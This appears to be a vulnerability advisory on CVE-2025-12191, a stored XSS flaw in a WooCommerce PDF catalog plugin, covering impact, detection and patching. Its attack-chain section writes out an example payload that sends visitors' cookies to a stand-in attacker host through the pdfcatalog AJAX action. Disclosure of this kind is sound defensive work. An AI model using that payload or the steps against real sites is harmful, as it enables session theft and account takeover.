CVE-2025-12191: 
WordPress vulnerability analysis and mitigation

CVE-2025-12191 is a Stored Cross-Site Scripting (XSS) vulnerability in the PDF Catalog for WooCommerce plugin for WordPress, affecting all versions up to and including 1.1.18. The flaw arises from insufficient input sanitization and output escaping in the pdfcatalog AJAX action, allowing authenticated attackers with Subscriber-level access or higher to inject persistent malicious scripts. It was published on December 5, 2025, with the assigning organization being Wordfence. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability exists because the pdfcatalog AJAX action in the plugin fails to properly sanitize user-supplied input before storing it and fails to escape it before rendering it in page output. An attacker with at least Subscriber-level WordPress account access can submit a crafted AJAX request containing malicious JavaScript, which is then persistently stored and executed in the browser of any user who visits the affected page. No public proof-of-concept exploit code has been identified at this time (Wordfence, ENISA EUVD).

Successful exploitation allows a low-privileged authenticated attacker to inject persistent JavaScript that executes in the context of any site visitor's browser, impacting both confidentiality and integrity (CVSS C:L/I:L/A:N). Injected scripts could be used to steal session cookies, redirect users to phishing pages, perform actions on behalf of victims (including administrators), or deliver further malware. The changed scope (S:C) indicates the impact extends beyond the attacker's own session to affect other users of the WordPress site (Wordfence).

No active in-the-wild exploitation or weaponized exploit kits have been reported for CVE-2025-12191. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid WordPress account with at least Subscriber-level privileges, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the PDF Catalog for WooCommerce plugin version 1.1.18 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or obtain credentials for a Subscriber-level (or higher) WordPress account on the target site.
3. Craft malicious AJAX request: Authenticate to the WordPress site and send a crafted HTTP POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) targeting the pdfcatalog action, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in an insufficiently sanitized parameter.
4. Payload stored: The server stores the unsanitized input in the database without proper escaping.
5. Victim triggers execution: When any user (including administrators) visits the page where the injected content is rendered, the malicious script executes in their browser, potentially stealing session tokens or performing unauthorized actions (Wordfence).

• Network: Unusual POST requests to /wp-admin/admin-ajax.php with action=pdfcatalog containing HTML or JavaScript tags in parameter values; outbound requests from victim browsers to unknown external domains following page visits.
• Logs: WordPress access logs showing repeated AJAX requests to admin-ajax.php with encoded or raw script content in POST body parameters from low-privilege user accounts.
• File System / Database: Unexpected JavaScript or HTML script tags stored in the WordPress database within PDF catalog-related tables or options; review wp_options or plugin-specific tables for injected content.
• Process/Browser: Unexpected redirects or pop-ups experienced by site visitors when accessing pages that render PDF catalog content.

The vendor (ovologics) has released a patched version of the PDF Catalog for WooCommerce plugin; users should update to version 1.1.19 or later immediately via the WordPress plugin dashboard or the WordPress plugin repository. As a temporary workaround, site administrators can disable the plugin until the update is applied, or restrict user registration to prevent untrusted Subscriber-level accounts. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts (Wordfence, ENISA EUVD).

The vulnerability was discovered and disclosed by Wordfence, which published the advisory on December 5, 2025. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified. Community aggregators such as Vulners and CVEFeed.io have indexed the vulnerability, but there is no evidence of significant social media discussion or threat actor interest at this time (Wordfence).